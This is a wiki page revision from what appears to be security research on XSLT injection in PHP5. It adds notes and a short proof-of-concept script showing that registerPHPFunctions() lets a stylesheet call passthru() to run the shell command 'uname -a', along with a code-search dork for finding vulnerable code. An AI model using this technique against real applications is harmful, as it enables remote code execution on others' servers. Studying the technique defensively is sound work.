Changes for page Application_PHP5

Last modified by Nicolas Gregoire on 2012/02/02 17:29

From version Icon 7.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 16:42
Change comment: There is no comment for this version
To version Icon 10.1 Icon
edited by Nicolas Gregoire
on 2012/01/13 17:33
Change comment: There is no comment for this version

Summary

Details

Icon Page properties
Content
... ... @@ -11,6 +11,10 @@
11 11  
12 12  == Executing PHP code ==
13 13  
14 -A call to [[registerPHPFunctions()>>http://php.net/manual/en/xsltprocessor.registerphpfunctions.php]] allows to execute standard PHP functions directly from the XSLT stylesheet.
14 +A call to [[registerPHPFunctions()>>http://php.net/manual/en/xsltprocessor.registerphpfunctions.php]] allows to execute standard PHP functions directly from the XSLT stylesheet. I never came across this pattern in real-life engagements but Google Code search references [[several>>http://www.google.com/codesearch#search/&q=registerPHPFunctions%20lang:%5Ephp$&type=cs||rel="__blank"]] instances of it (dork: "registerPHPFunctions lang:^php$").
15 15  
16 16  
17 +|=Namespace |=Extension function |=PoC |=Note
18 +| http:~/~/php.net/xsl| Any PHP function| [[execute-code-via-libxslt.php>>attach:execute-code-via-libxslt.php]]| A call to registerPHPFunctions() is needed
19 +
20 +The attached [[execute-code-via-libxslt.php>>attach:execute-code-via-libxslt.php]] PoC will use the passthru() PHP function to execute "uname -a".
Icon execute-code-via-libxslt.php
Author
... ... @@ -1,0 +1,1 @@
1 +xwiki:XWiki.NicolasGregoire
Size
... ... @@ -1,0 +1,1 @@
1 +653 bytes
Content
... ... @@ -1,0 +1,36 @@
1 +<?php
2 +
3 +$sXml = '<empty/>';
4 +
5 +$sXsl = <<<EOT
6 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
7 + xmlns:php="http://php.net/xsl"
8 + version="1.0">
9 +
10 + <xsl:template match="/">
11 + <xsl:value-of select="php:function('passthru', 'uname -a')"/>
12 + </xsl:template>
13 +
14 +</xsl:stylesheet>
15 +EOT;
16 +
17 +# LOAD XML FILE
18 +$XML = new DOMDocument();
19 +$XML->loadXML( $sXml );
20 +
21 +# LOAD XSLT FILE
22 +$XSL = new DOMDocument();
23 +$XSL->loadXML( $sXsl );
24 +
25 +# START XSLT
26 +$xslt = new XSLTProcessor();
27 +$xslt->importStylesheet( $XSL );
28 +
29 +# Register PHP functions as XSLT extensions !
30 +$xslt->registerPHPFunctions();
31 +
32 +# TRASNFORM & PRINT
33 +print $xslt->transformToXML( $XML );
34 +
35 +?>
36 +